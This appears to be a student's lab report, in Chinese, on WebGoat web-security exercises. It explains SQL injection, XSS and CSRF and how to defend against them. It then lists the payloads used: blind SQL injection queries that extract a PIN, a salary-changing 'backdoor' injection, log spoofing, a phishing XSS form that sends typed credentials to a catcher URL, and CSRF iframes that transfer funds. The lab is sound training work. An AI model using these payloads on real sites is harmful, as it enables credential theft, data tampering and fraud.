zoukankan      html  css  js  c++  java
  • 20145201李子璇 《网络对抗》 Web安全基础实践

    1.实验后回答问题

    (1)SQL注入攻击原理,如何防御

    • 原理:通过构建特殊的输入作为参数传入web应用程序。即把SQL命令注入到Web表单的输入域或页面请求的查询字符串,和之前已经设定好的查询语句构成关联,欺骗服务器执行恶意的SQL命令,从而达到控制读取网页等目的。

    • 防御:对用户输入的参数进行过滤,对输入数据的合法性进行判断(不允许输入特殊字符,如:' 等)。

    (2)XSS攻击的原理,如何防御

    • 原理:跨站脚本攻击。构造带有攻击代码的URL,将URL进行包装,被攻击者以为是正常的网页,点击,攻击代码随着html返回到被攻击者浏览器并执行,用户就中招了。
    • 防御:将一些不合理的标签(eg:< > % /)进行过滤;限制用户输入的字符,例如:只允许输入a-z A-Z 0-9

    (3)CSRF攻击原理,如何防御

    • 原理:和xss类似,但是CSRF不用“骗取”用户信息,他是利用用户已经登录之前那个网站存储下来的cookie,以中招用户的身份完成一系列非法的操作。
    • 防御:最根本的就是解决cookie问题呗,可以增加验证码,用户每次提交表单都要输入验证码才行!

    2.实验总结与体会
    知道了为什么注册时不让用特殊符号。以后设计相关网页时也要注意,一定要对用户输入数据的合法性进行判断。太可怕了,一不小心就被攻击...

    3.实践过程记录

    完成列表


    SQL

    Blind Numeric SQL Injection(数字型盲注入)

    可以输入一个帐号,检测其是否合法。用返回信息(真或假)测试检查数据库中其它条目信息。 
    目标是找到 1111222233334444 的pin数值(整型)。

    比如我查了101账号是合法的

    • 然后是寻找pin数值
      查找PIN 数值是否大于10000。 
      101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 ); 
      页面显示值是不大于10000的。
    • 一直调整数值,来缩小判断范围,最终得出pin值的大小。
      最后输入的是: 
      101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') = 2364 ); 

      发现合法 那么直接在框中输入2364即可。

    字符串型盲注入(Blind String SQL Injection)

    输入一个帐号,检测帐号是否合法。用该返回信息检查数据库中其它条目信息。 
    目标是找到字段4321432143214321中pin 的数值(值为字符串)

    • 和上一个类似。
      输入查询语句:
      101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'C' );
    • 这句使用了SUBSTRING 方法,获得pin字符数值的第一个字母,判断它是否比字母“C”小。
      SUBSTRING 的语法是:SUBSTRING(STRING,START,LENGTH)
    • 依此类推,最终答案Jill,提交:

    Log Spoofing(日志欺骗)

    使用户名admin ,显示“成功登录”。  
    操作方法(Solutions)

    • 先试一下我的学号作为用户名,发现用户名后面的信息会在同一行显示。那么之后可以考虑用回车来进行sql注入。

    • 在用户名中输入 %0d%0aLogin Succeeded for username: admin (注:%0d是回车 %0a是换行符)
      就可以实现了

    String SQL Injection(字符串型注入)

    • 目标是将所有信用卡信息一起显示出来。

    • 先尝试输一下

    • 注入字符是' or 1=1 -- 原理是用'将字符和之前的截断,后面用永真式1=1,最后是‘--’把之后的内容注释掉

    Database Backdoors(数据库后门)

    • 可以先输入101,看一下得到的信息,可以发现没有验证,可以进行sql注入。
    • 101; update employee set salary=10000
      把编号为101的人工资修改成10000(这步我没截图- -后来发现回不去了...)
    • 使用语句,添加后门,把邮箱全改为我学号:

    xss

    Stored XSS Attacks(保存型XSS攻击)

    • 攻击者写的Xss代码将被直接保存在服务器上,之后所有访问的用户都会中招。

    直接在massage框中输入javascrip脚本,即可

    <script>alert("xxx")</script>
    

    提交之后,如果再次点击刚刚发布的帖子,就会出现弹框。

    Reflected XSS Attacks(反射型XSS)

    和上一个类似,在下面文本框中输入 http://www.targetserver.com/search.asp?input= ,服务端会跳转到对应的错误页,如下:

    这样www.targetserve.com里的恶意js会被执行。

    Phishing with XSS (跨站脚本钓鱼攻击)

    • search框编写前端代码并在输入框中注入这段前端代码
    <head>
    <body>
    <div>
    <div style="float:left;height:100px;50%;background-color:green;"></div>
    <div style="float:left;height:100px;50%;background-color:red;"></div>
    </div>
    <div style="background-color:blue;height:200px;clear:both;"></div>
     
    </div></div>
    </form>
      <script>
    function hack(){ 
    XSSImage=new Image;
    XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
    alert("20145201 Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
    } 
      </script>
    <form name="phish">
    <br>
    <br>
    <HR>
      <H2>This feature requires account login:</H2>
    <br>
      <br>Enter Username:<br>
      <input type="text" name="user">
      <br>Enter Password:<br>
      <input type="password" name = "pass">
    <br>
      <input type="submit" name="login" value="login" onclick="hack()">
    </form>
    <br>
    <br>
    <HR>
    </body>
    </head>
    
    • 按要求输入username password 成功截获

    CSRF

    Cross Site Request Forgery (CSRF)

    • message里输入这其中,286是网页的scr,900是网页的menu,999999转钱数额

    • 列表中出现刚刚提交的数据

    • 点击代码执行

    CSRF Prompt By-Pass

    • 通过邮件的方式进行恶意请求,需要两个iframe模块,如下:
    <iframe src="attack?Screen=270&menu=900&transferFunds=5000"> </iframe>
    <iframe src="attack?Screen=270&menu=900&transferFunds=CONFIRM"> </iframe>
    
  • 相关阅读:
    STL源码剖析之_allocate函数
    PAT 1018. Public Bike Management
    PAT 1016. Phone Bills
    PAT 1012. The Best Rank
    PAT 1014. Waiting in Line
    PAT 1026. Table Tennis
    PAT 1017. Queueing at Bank
    STL源码剖析之list的sort函数实现
    吃到鸡蛋好吃,看看是哪只母鸡下的蛋:好用的Sqlite3
    cJSON
  • 原文地址:https://www.cnblogs.com/20145201lzx/p/6824539.html
Copyright © 2011-2022 走看看